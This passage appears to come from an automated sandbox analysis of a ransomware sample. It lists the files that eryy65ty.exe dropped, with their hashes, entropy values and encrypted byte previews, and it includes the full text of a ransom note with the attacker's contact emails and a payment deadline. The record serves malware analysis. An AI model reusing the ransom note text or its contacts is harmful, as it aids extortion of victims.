                                                                                                                                        SHA-512:D1009510DCB3781DB49509C140CC70A6FB3E1C3D169DD2E0D3B695F05A0EE1A190F39478F664103D0FD2B7E004F3901F0F84757B00CB1878E204837542D52758
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.V....}..<bF..z..7t...5]...[.\".......F."..-......q....*{.A.'.bl.......C.*Th'.`I=\.%.QF...Z.?i.........YuT..!.g.7ZC4B=..X..5.....~....mF.)}-..N.o..U.y....e.N.@n....9%.....W..q4....{..[.MOY..P...w....y.9.......B.P..N.sK..).0L..y........J.R4.yA.C..d..$.8P....@..vhOl.>....+.....\Lr\$..p.......S\OW.Z..q..=..B9#....=..H45t.;. 4/bj.I.*....bE..<..N..P..{5R.%.3.......'.V6.m...a..\&..:...Z.o.8....S..{..=..q...._x.g...%Z.I"...?/...C...(.^eBW....q.sX..h.....j..{S.............".../.9....] ..........`.F.#/.L....D...Mz..&\ ....j.....<...e..y..`1t)J*..#[S.p.0B.C...te(*U1t..}.(b.S..s........F..0I.<D.^6.eW..D.c.G.tu.......D<&..d...L.....n.k>/].<J..t.X.T.m_...04.k.;..G....t....].......f.@.....>..O.t.D......t...LPK.;Y.......W.b.n.P.)0..&......1.hd...,m?.......[..0.....}.......O...P.6..~$.....M...k..]A.....Zf..^...rc..j...*H.+]U.........^...+X}..i.DG..R.U....nt...}...0<.....\6.......y.Ed....M...5?5.#.....Y.J5...W.u..W..>.Z...#.g!.^.5`.O..$d........sgl...9.@.;..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.869899086811276
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:/23gKtjIzBAzCP9MJvys40Jg3rky7kB9jjtgRIhLKQVdN43RT0eHoyiGOSWH:/23XSzBVMJv540JcG9jBQi+3tfHzOSWH
                                                                                                                                        MD5:B51546079197F4E224C6BCD00B4616EA
                                                                                                                                        SHA1:B9450CB50DF6F005CC7BC5A9BE11ED6680E5735C
                                                                                                                                        SHA-256:906DAB0AFFD3F7BB42B63C252A27B52CDC782A553CCC6757A1CCA02C7BA7F2A5
                                                                                                                                        SHA-512:4F700EC8B76C007B188D3CA953B789B4AF217F8AC6E3A3509D984E61C7D59EF1DAE12C3C850C49DFF16F07D17849F2D5C47AB0E7251FA228406B2122FC3176F8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.V...1..E_".T..>..R.%<.&....?L@.W>..:.7.m..ih...,..K./E*...f........;.GN.7..g>...<...~! y..F..[;o2Y{...<.P........e.C...A......*.U..=rk/y.'.A;.M...Y...^Q&...~j<+..........B..?,.Kb.....}...b!M.hf..yht!.F...+G..|.5=..8...........cXj...:...s..}F......a...C..8k}Z.9..V.EH<v%s7A......e.Y...&.p~....=K4a..o.I..c.^...C....J..e...i.@.WV.q.=J=.%.D.z..MMKvzZL..>..:...`..D|x::`$....8.52.*...O...5V.7...!Z.M!...b.Y..F.7&......Z...,6..L.OX.......b..T0_.....K..f.9f.`c.....`.G...w3... ........v.j..;U.#.2_....[. ....4....2.2...<..r\. :.....m..1..B.q....B...........#......:..g........g..#..}...G.9...g?..=.P|l..T...Qw...e.^z..._.Q.6..f.?..o.MUo..........0.g...[[>.....^3J.+..[.~...&$xK.`?(E1....FH.z.U..B....]..wR._.V-.U)..3..Q..."..A/......~.@.m..F6{}M.v..a...#10....Au.@...F.%Imwk.?..].3G,]....T...A.3y...8.\#.S.R...t.v'..sp.6e..a...V..-r.u..h..(V....(../...|......w..n....o...4....0.B.c|..9.2n.5.......F..~.F.g....MjG..G.y..x.R..a6?ZP......E.GIz...z
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.869899086811276
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:/23gKtjIzBAzCP9MJvys40Jg3rky7kB9jjtgRIhLKQVdN43RT0eHoyiGOSWH:/23XSzBVMJv540JcG9jBQi+3tfHzOSWH
                                                                                                                                        MD5:B51546079197F4E224C6BCD00B4616EA
                                                                                                                                        SHA1:B9450CB50DF6F005CC7BC5A9BE11ED6680E5735C
                                                                                                                                        SHA-256:906DAB0AFFD3F7BB42B63C252A27B52CDC782A553CCC6757A1CCA02C7BA7F2A5
                                                                                                                                        SHA-512:4F700EC8B76C007B188D3CA953B789B4AF217F8AC6E3A3509D984E61C7D59EF1DAE12C3C850C49DFF16F07D17849F2D5C47AB0E7251FA228406B2122FC3176F8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.V...1..E_".T..>..R.%<.&....?L@.W>..:.7.m..ih...,..K./E*...f........;.GN.7..g>...<...~! y..F..[;o2Y{...<.P........e.C...A......*.U..=rk/y.'.A;.M...Y...^Q&...~j<+..........B..?,.Kb.....}...b!M.hf..yht!.F...+G..|.5=..8...........cXj...:...s..}F......a...C..8k}Z.9..V.EH<v%s7A......e.Y...&.p~....=K4a..o.I..c.^...C....J..e...i.@.WV.q.=J=.%.D.z..MMKvzZL..>..:...`..D|x::`$....8.52.*...O...5V.7...!Z.M!...b.Y..F.7&......Z...,6..L.OX.......b..T0_.....K..f.9f.`c.....`.G...w3... ........v.j..;U.#.2_....[. ....4....2.2...<..r\. :.....m..1..B.q....B...........#......:..g........g..#..}...G.9...g?..=.P|l..T...Qw...e.^z..._.Q.6..f.?..o.MUo..........0.g...[[>.....^3J.+..[.~...&$xK.`?(E1....FH.z.U..B....]..wR._.V-.U)..3..Q..."..A/......~.@.m..F6{}M.v..a...#10....Au.@...F.%Imwk.?..].3G,]....T...A.3y...8.\#.S.R...t.v'..sp.6e..a...V..-r.u..h..(V....(../...|......w..n....o...4....0.B.c|..9.2n.5.......F..~.F.g....MjG..G.y..x.R..a6?ZP......E.GIz...z
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.850230316107856
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Z4pZEN27dXkifIGYtyWFFieLSL0T691yb1t4LYPExdI:ZCv3Dky2FigYy69g8KidI
                                                                                                                                        MD5:950BD0BEF856829205DD77D9ECAF7B5F
                                                                                                                                        SHA1:B822F20AF27DBB4DEC38EC52BA12329A8EF7F96D
                                                                                                                                        SHA-256:C921331172D7A35F558BE6639F6CA0080FAFF27002AE7D2F4FB0D2F3D597F831
                                                                                                                                        SHA-512:08285B6FBC6FCC4C3B6D0F5D19DB030275BDEC1254EDCB49AA6964EE3E3B9734FC3E8F8FA694D60E723270A65D1E11FF24A9C1B0C7337226D803F0A1287E0B2D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......c.F0..T}; I.>....T..{..gK;:.K..I~.E.....c..1.....AI.. .....0.........[._...z..0O8r..._..8....._........r.R...L.h[g...?...3cf.404K..J#+`.{F..p.Q.!8`.....S....zlE.ry!.[.PBRW.b+..9\h.VY...>.......p.rq..VU..S`..D..c..J.......B.Z....W...z...2+^-..y..)x|Z.o}.K......../..<..8&..M..\d.k ..n....6.r{..?".M..%......\.?!..j4.}..=.r)......s/.S'5<....zf...d.uQ...J.."..kF.((.O..b$..b-..a....K.u...{..{.z.2+0..>...=&..a.?.....%...;e...p...>..v..=1..H@.'m|....9t.5...u^)]~y..L..a(.0....Rg!....esc..C..F.6.wGp..+.w....Ujh.?(..i:..........9K....\x.79J8a...@<..m..........A...V.7......3'..?..2..M..k...\......n[%..._....Z.._...R],.?L.i...`hv..z.....uaI...,..K......98..P..m.....-..n.{.)5..5o|...,..\4.U.." ........\I..!>.".>S...J..0..1Mr..z...I.4.......&6oW.J..X..nA.W..&r....q..(4.Ni...R....pj'#..q<.<..7T.....I..B..C..o.'...J.O.....~>.,.K........1+......Mh.T... ..Omm..D...............%M....Y....jV..y.QF.Z_.@.i.."...'.J5...)..uy.,......2K.j7\B..x...FP.]?..\:
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.850230316107856
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:Z4pZEN27dXkifIGYtyWFFieLSL0T691yb1t4LYPExdI:ZCv3Dky2FigYy69g8KidI
                                                                                                                                        MD5:950BD0BEF856829205DD77D9ECAF7B5F
                                                                                                                                        SHA1:B822F20AF27DBB4DEC38EC52BA12329A8EF7F96D
                                                                                                                                        SHA-256:C921331172D7A35F558BE6639F6CA0080FAFF27002AE7D2F4FB0D2F3D597F831
                                                                                                                                        SHA-512:08285B6FBC6FCC4C3B6D0F5D19DB030275BDEC1254EDCB49AA6964EE3E3B9734FC3E8F8FA694D60E723270A65D1E11FF24A9C1B0C7337226D803F0A1287E0B2D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......c.F0..T}; I.>....T..{..gK;:.K..I~.E.....c..1.....AI.. .....0.........[._...z..0O8r..._..8....._........r.R...L.h[g...?...3cf.404K..J#+`.{F..p.Q.!8`.....S....zlE.ry!.[.PBRW.b+..9\h.VY...>.......p.rq..VU..S`..D..c..J.......B.Z....W...z...2+^-..y..)x|Z.o}.K......../..<..8&..M..\d.k ..n....6.r{..?".M..%......\.?!..j4.}..=.r)......s/.S'5<....zf...d.uQ...J.."..kF.((.O..b$..b-..a....K.u...{..{.z.2+0..>...=&..a.?.....%...;e...p...>..v..=1..H@.'m|....9t.5...u^)]~y..L..a(.0....Rg!....esc..C..F.6.wGp..+.w....Ujh.?(..i:..........9K....\x.79J8a...@<..m..........A...V.7......3'..?..2..M..k...\......n[%..._....Z.._...R],.?L.i...`hv..z.....uaI...,..K......98..P..m.....-..n.{.)5..5o|...,..\4.U.." ........\I..!>.".>S...J..0..1Mr..z...I.4.......&6oW.J..X..nA.W..&r....q..(4.Ni...R....pj'#..q<.<..7T.....I..B..C..o.'...J.O.....~>.,.K........1+......Mh.T... ..Omm..D...............%M....Y....jV..y.QF.Z_.@.i.."...'.J5...)..uy.,......2K.j7\B..x...FP.]?..\:
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8659323962444825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:nRKT2DFV311t2UGQSMCaFqpTW5LPba1BdxQ0u6yE9ju8/i4KjTkFAVC:nRKTkFVvtuDhTW5HaL/mYu8/i4UT+0C
                                                                                                                                        MD5:0CB70422BE59239F2FF62FC0478A9E03
                                                                                                                                        SHA1:EB046A72E0B964655C27577A1E224BF8D31AE75A
                                                                                                                                        SHA-256:A858B0B3E54914D935FD2E92E2648F12A78F6C6A6E1315CB3CFE3003D5EC1993
                                                                                                                                        SHA-512:774D978E7CBADD44A2D234CEE1E9695A91A5F8CD80A3CABC248C7C830E2C0010002DB1CB63ADC7DF93B1BE84B4A7B80C8FB62C22E4DEE9CD6F80EA2CC6CB04DE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:!M#.T.....n.l..{../..l......Y.w...'w...G..e..r.RZs9W.......T.B...O.*."..7[.4..H......\P-(.<.g.X...{.@..f...5N.....] Bl~{E.I.....x ]..t...!...2%.U:........N.h...U......!......../.....;.b...c.sf......|.i..........c...l...+;.}...5.F...t....|....X}.E#.aO.lP..q.......=z..g;v&;..,.V.@.r.=B)..G...}.d..bnx.....p_.C...E..1......MT.L..........>....m.I.~..G+.$W,.CH`D....."..\^.6N[...T...-c..E....{...J@.P..C..\&l..$.i.X4.M'..........x....p(O....l....L..m<..S..$......7.)..G...h./O2...62..OF.....;....~CN$-._{.....h.:..j.....fOC......G...e.....:A..X..B..T.b.n...........K......YI.Q.J....f..jE:..|..rd.!J0......S...>EU...>..Q...`E.I]Y.k<M...s@.w.4.w.B..-..OdV+.O.5...,......pG.....gy.ENf.LK..?(...(...b.dg.<.Z.p....[7.X.J$.i..Ga....m..8.T..@.b....x..(.+De.k&SM).V.X..kM.v..`..[(...=....j..-..X.%C.J..%..._P3.......".....tL.g...u.Tl..V....&..JK.....6..dM.....m..6..w:.3..K.TH...ff..r.3M.7z.....k.c..m*.^....{IWdtB5cC.#....rWTN-...C.'...Y....$o...Tr.U.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8659323962444825
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:nRKT2DFV311t2UGQSMCaFqpTW5LPba1BdxQ0u6yE9ju8/i4KjTkFAVC:nRKTkFVvtuDhTW5HaL/mYu8/i4UT+0C
                                                                                                                                        MD5:0CB70422BE59239F2FF62FC0478A9E03
                                                                                                                                        SHA1:EB046A72E0B964655C27577A1E224BF8D31AE75A
                                                                                                                                        SHA-256:A858B0B3E54914D935FD2E92E2648F12A78F6C6A6E1315CB3CFE3003D5EC1993
                                                                                                                                        SHA-512:774D978E7CBADD44A2D234CEE1E9695A91A5F8CD80A3CABC248C7C830E2C0010002DB1CB63ADC7DF93B1BE84B4A7B80C8FB62C22E4DEE9CD6F80EA2CC6CB04DE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:!M#.T.....n.l..{../..l......Y.w...'w...G..e..r.RZs9W.......T.B...O.*."..7[.4..H......\P-(.<.g.X...{.@..f...5N.....] Bl~{E.I.....x ]..t...!...2%.U:........N.h...U......!......../.....;.b...c.sf......|.i..........c...l...+;.}...5.F...t....|....X}.E#.aO.lP..q.......=z..g;v&;..,.V.@.r.=B)..G...}.d..bnx.....p_.C...E..1......MT.L..........>....m.I.~..G+.$W,.CH`D....."..\^.6N[...T...-c..E....{...J@.P..C..\&l..$.i.X4.M'..........x....p(O....l....L..m<..S..$......7.)..G...h./O2...62..OF.....;....~CN$-._{.....h.:..j.....fOC......G...e.....:A..X..B..T.b.n...........K......YI.Q.J....f..jE:..|..rd.!J0......S...>EU...>..Q...`E.I]Y.k<M...s@.w.4.w.B..-..OdV+.O.5...,......pG.....gy.ENf.LK..?(...(...b.dg.<.Z.p....[7.X.J$.i..Ga....m..8.T..@.b....x..(.+De.k&SM).V.X..kM.v..`..[(...=....j..-..X.%C.J..%..._P3.......".....tL.g...u.Tl..V....&..JK.....6..dM.....m..6..w:.3..K.TH...ff..r.3M.7z.....k.c..m*.^....{IWdtB5cC.#....rWTN-...C.'...Y....$o...Tr.U.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8437034031512995
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:OMFpsjGOisqy/ZOGaTA6dv+9yJPJjDcyR8NprfkAoY5HwQlJ/iu+DD:OssjriWZGhdv++pF8bnBvP//0D
                                                                                                                                        MD5:B220A62F98DC94C260EE0EF2C17403C3
                                                                                                                                        SHA1:577957D34D5566E8FDEF48FD3D77ED74E1FACED1
                                                                                                                                        SHA-256:B4BE446E6E0B35A10695BE2E4B48F292EED34FEFB213FED477705495F65952FA
                                                                                                                                        SHA-512:2CF80B841C4A7CB1DF933A9353378A34846620DEFAE0CEF9187557B088AC0D691F4C3F1879132BBC24D815C498FB079C6366B948283154ACE3BCCCE0450C835D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:a..D`c.#H..T....C....&{.....9Sd?lB.eVW...N.nL.m.....v..%.P.F_..*...*..n..fR..@.X!].>.`..27.:B...f....D..9{..\.u.0.$?#'N#.1~..{....J..V.7._....-....)M..m...^.n~.C..`..-$..c.p..K%C.......*..../. Kya........dZ..)QG. *..w./.-E.....Y....&..{kA..1v......<uKs_C"2.+.."..D...p..TUU..{.RsL?....<v......H...^...~..k..i...|+..Q.A..@..!....A...P[4.o.EC...+.T...'^....@-.l.3(Q.i..{...<.,.....X. t.}..34..k.K.|...}.a..]..X.P(.a.q...u..@..|)..<9P*rR}..G..om0..e...8.Df....a...3Rs../\xK..O....x...Y.:...\M...p.K.'...9.A.....zU....B..RR.T.#.3Ik..(.m.;.'.o.\..e,..LB.?.`.eJ....-=.+..?....C.W.6p..BmQ....4..;..U.ph_/XW...j.3..x...C....?E..J/.S.i....1|.....3.....r60.............]B..j..L..............u.M.....v'..2/$Vw..g.Y|~..8..c.X...Q.J.V3.n....f..........7...D...C.^...._u.I......]lI.....#.R.....]@-....Y..#.q...Y.`j....;.n....dD...i*t.P......wX.K..L.7....$.S..j...}...F...h......F->.R....)....>....&..{..9-k.l...B6RCwL....qNJ.....J...Z..i/..C..uQY&$.........}
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.8437034031512995
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:OMFpsjGOisqy/ZOGaTA6dv+9yJPJjDcyR8NprfkAoY5HwQlJ/iu+DD:OssjriWZGhdv++pF8bnBvP//0D
                                                                                                                                        MD5:B220A62F98DC94C260EE0EF2C17403C3
                                                                                                                                        SHA1:577957D34D5566E8FDEF48FD3D77ED74E1FACED1
                                                                                                                                        SHA-256:B4BE446E6E0B35A10695BE2E4B48F292EED34FEFB213FED477705495F65952FA
                                                                                                                                        SHA-512:2CF80B841C4A7CB1DF933A9353378A34846620DEFAE0CEF9187557B088AC0D691F4C3F1879132BBC24D815C498FB079C6366B948283154ACE3BCCCE0450C835D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:a..D`c.#H..T....C....&{.....9Sd?lB.eVW...N.nL.m.....v..%.P.F_..*...*..n..fR..@.X!].>.`..27.:B...f....D..9{..\.u.0.$?#'N#.1~..{....J..V.7._....-....)M..m...^.n~.C..`..-$..c.p..K%C.......*..../. Kya........dZ..)QG. *..w./.-E.....Y....&..{kA..1v......<uKs_C"2.+.."..D...p..TUU..{.RsL?....<v......H...^...~..k..i...|+..Q.A..@..!....A...P[4.o.EC...+.T...'^....@-.l.3(Q.i..{...<.,.....X. t.}..34..k.K.|...}.a..]..X.P(.a.q...u..@..|)..<9P*rR}..G..om0..e...8.Df....a...3Rs../\xK..O....x...Y.:...\M...p.K.'...9.A.....zU....B..RR.T.#.3Ik..(.m.;.'.o.\..e,..LB.?.`.eJ....-=.+..?....C.W.6p..BmQ....4..;..U.ph_/XW...j.3..x...C....?E..J/.S.i....1|.....3.....r60.............]B..j..L..............u.M.....v'..2/$Vw..g.Y|~..8..c.X...Q.J.V3.n....f..........7...D...C.^...._u.I......]lI.....#.R.....]@-....Y..#.q...Y.`j....;.n....dD...i*t.P......wX.K..L.7....$.S..j...}...F...h......F->.R....)....>....&..{..9-k.l...B6RCwL....qNJ.....J...Z..i/..C..uQY&$.........}
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844624429727003
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zG8SW7MFc1+mz1FgHYBDo3et++DxZnltuylp7pI7S/RkUW:lgFez1m4FEet++FZl/+S5hW
                                                                                                                                        MD5:533C25A984B38120A8A855922AD9A480
                                                                                                                                        SHA1:0F516B3B658B0A1B9B43531D0222A2E994556CE3
                                                                                                                                        SHA-256:B7E8801EE31D708A999B32CB8A6C7949910AD7ED8D687B114B1BF284101E663D
                                                                                                                                        SHA-512:A3E55AA7F0930327EA8F4CAB6AFEC76ADF823469D629B547FF456083D8D41442E3595D7AB84C1E2F0BB21C20E17AC9417F92AE70A241D12B9781A2BB282DE129
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.....4O4.5n..&.%Oru..LJ7{]4....8/l...1.l.c|..8..=..<.t&<....Q-Hr.w.y.....bn.{|.o.v.]...}.......s..1~w;.y....\..:4.(...S.g.q.*....?W.E....]....J2..`..$.3..R......%.3...6......v0c!.+Z.....S.....~.Jy.^.J.D.*...hW.-.....V.......A'c....%.q...;.8.e.s.D..Mw5.=..USmCA..(.q.....Wo.rP9J.s..%;ZS4{.M..0#.....(6....o....D&8fY3eI...G...Uq.a......M.^.gq.533..c`......!b..0.mh...r..S.9..Ic.HM........f.p...r.7J.35..)].w.<..x..n.............o..I..k.1.TAV...*H......2...w../f..l...E.....'..%y...r.[jBC....|..DA...JW.m 6L.....M..3...8'.......o.-Ai.HU.0L.c.B....4-.$\..>.].e...{ ..`...V.*"E.....+.|..H........V.N.B.'...&....^..}.W`L..+9.....E...~K...Bu..U....4b..........}.......X.YG...^.*t..".KBP.........^Fg..Cy.$..s.2.,.bI..Y..].._h]d].:.!..A..&.%../...Jf..SR2...l..T..... 4n7."..h......R.#.<=.=..q.....{...........S....<q.y9.*.`.I[..w...T...LjX.......m...z.9....\p..t..y... '...B.,e...9..qn...v....t.....t?.Y.DP..........1.}(.x......z@`.....U .DX.....4.y..V..j.KCo..o.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844624429727003
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:zG8SW7MFc1+mz1FgHYBDo3et++DxZnltuylp7pI7S/RkUW:lgFez1m4FEet++FZl/+S5hW
                                                                                                                                        MD5:533C25A984B38120A8A855922AD9A480
                                                                                                                                        SHA1:0F516B3B658B0A1B9B43531D0222A2E994556CE3
                                                                                                                                        SHA-256:B7E8801EE31D708A999B32CB8A6C7949910AD7ED8D687B114B1BF284101E663D
                                                                                                                                        SHA-512:A3E55AA7F0930327EA8F4CAB6AFEC76ADF823469D629B547FF456083D8D41442E3595D7AB84C1E2F0BB21C20E17AC9417F92AE70A241D12B9781A2BB282DE129
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:S.....4O4.5n..&.%Oru..LJ7{]4....8/l...1.l.c|..8..=..<.t&<....Q-Hr.w.y.....bn.{|.o.v.]...}.......s..1~w;.y....\..:4.(...S.g.q.*....?W.E....]....J2..`..$.3..R......%.3...6......v0c!.+Z.....S.....~.Jy.^.J.D.*...hW.-.....V.......A'c....%.q...;.8.e.s.D..Mw5.=..USmCA..(.q.....Wo.rP9J.s..%;ZS4{.M..0#.....(6....o....D&8fY3eI...G...Uq.a......M.^.gq.533..c`......!b..0.mh...r..S.9..Ic.HM........f.p...r.7J.35..)].w.<..x..n.............o..I..k.1.TAV...*H......2...w../f..l...E.....'..%y...r.[jBC....|..DA...JW.m 6L.....M..3...8'.......o.-Ai.HU.0L.c.B....4-.$\..>.].e...{ ..`...V.*"E.....+.|..H........V.N.B.'...&....^..}.W`L..+9.....E...~K...Bu..U....4b..........}.......X.YG...^.*t..".KBP.........^Fg..Cy.$..s.2.,.bI..Y..].._h]d].:.!..A..&.%../...Jf..SR2...l..T..... 4n7."..h......R.#.<=.=..q.....{...........S....<q.y9.*.`.I[..w...T...LjX.......m...z.9....\p..t..y... '...B.,e...9..qn...v....t.....t?.Y.DP..........1.}(.x......z@`.....U .DX.....4.y..V..j.KCo..o.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853401174093658
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:tv4Z1WJ1f0NvIGU4Xmzn1NhXAfvUgfFvNYZnIKF9Xdx6bshE+MRAwD:tv4GrQvXz210MgdvNYZVThE+MRVD
                                                                                                                                        MD5:D24A078E264831321FDB6021E48DE1FC
                                                                                                                                        SHA1:3108D0D758C124F364A8404D53C9A33ABD74CA02
                                                                                                                                        SHA-256:24E4852B3C0D97D2A738527E819D5AF78FEB6304F8004DFAA59599519EB28968
                                                                                                                                        SHA-512:E0DA770F4FE8C71D9831360577B2632C571BEB093A6FA558C3582551705D4290D8A776F2380E785D68B64D377D26F9389D0208FD614D4A0668E45BBF3A301363
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.e.p...R.....\..B.j..us3.^.^.:T\......V...Z......D*...~.".+.5......2I..{?.>qb.E.~jAr..."..t0/T..W>.C.@./..y ^b....z...trS...*.^.5.$...8r0..]...7.2T.kR....E....(..r..........."...f.(...b.7y...5....i.*7..#b...o.u...T.,.+jo.q..`g.Xr..+Ydx... !PM&....W....4..,.Y6.T>.....&.7.j....v.f\........n.l....Y....b.TWq.&2>..m6...Z..J...p!MM._......7U.t..U...n...3...d........+...=].=....a..R....u..{.2....Y$;..3.1o...&'..{...8.e......$../'f..EJ!F....!8.tkd).'`b...J.6.......r9...[...f.....1D.nc...~?..`...Z..=m...>..G...W.C.b72........t.Z....'.._.sE.}c)%...0...VQ........"y>nrx.j.:.....l...>.)E.2.3..#....W..C.aJ...z....-..{..G.-6......c.'3...D...P.1&B.h.RC...8...@>~..<.0..J.Z./d4'].. xGO......A.li.7..J.L...$)X.8...0..0,...Cc/-.B.\...........h.B...A.4..=.F+..u1.......r..0.B.....V......i:.c\..:TnSY.5S..52uQ.5*..}MA.{ +..6.V...*.......p..!Q.8m...4....Y.~...r.Lr...Y.+v.X.....%..p...e......|.j.l_u.v.y4.B'H.nSzK...dq...g..h..f*K..1.$..v..K4....gub.t....;\.<..u7JZ..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.853401174093658
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:tv4Z1WJ1f0NvIGU4Xmzn1NhXAfvUgfFvNYZnIKF9Xdx6bshE+MRAwD:tv4GrQvXz210MgdvNYZVThE+MRVD
                                                                                                                                        MD5:D24A078E264831321FDB6021E48DE1FC
                                                                                                                                        SHA1:3108D0D758C124F364A8404D53C9A33ABD74CA02
                                                                                                                                        SHA-256:24E4852B3C0D97D2A738527E819D5AF78FEB6304F8004DFAA59599519EB28968
                                                                                                                                        SHA-512:E0DA770F4FE8C71D9831360577B2632C571BEB093A6FA558C3582551705D4290D8A776F2380E785D68B64D377D26F9389D0208FD614D4A0668E45BBF3A301363
                                                                                                                                        Malicious:false
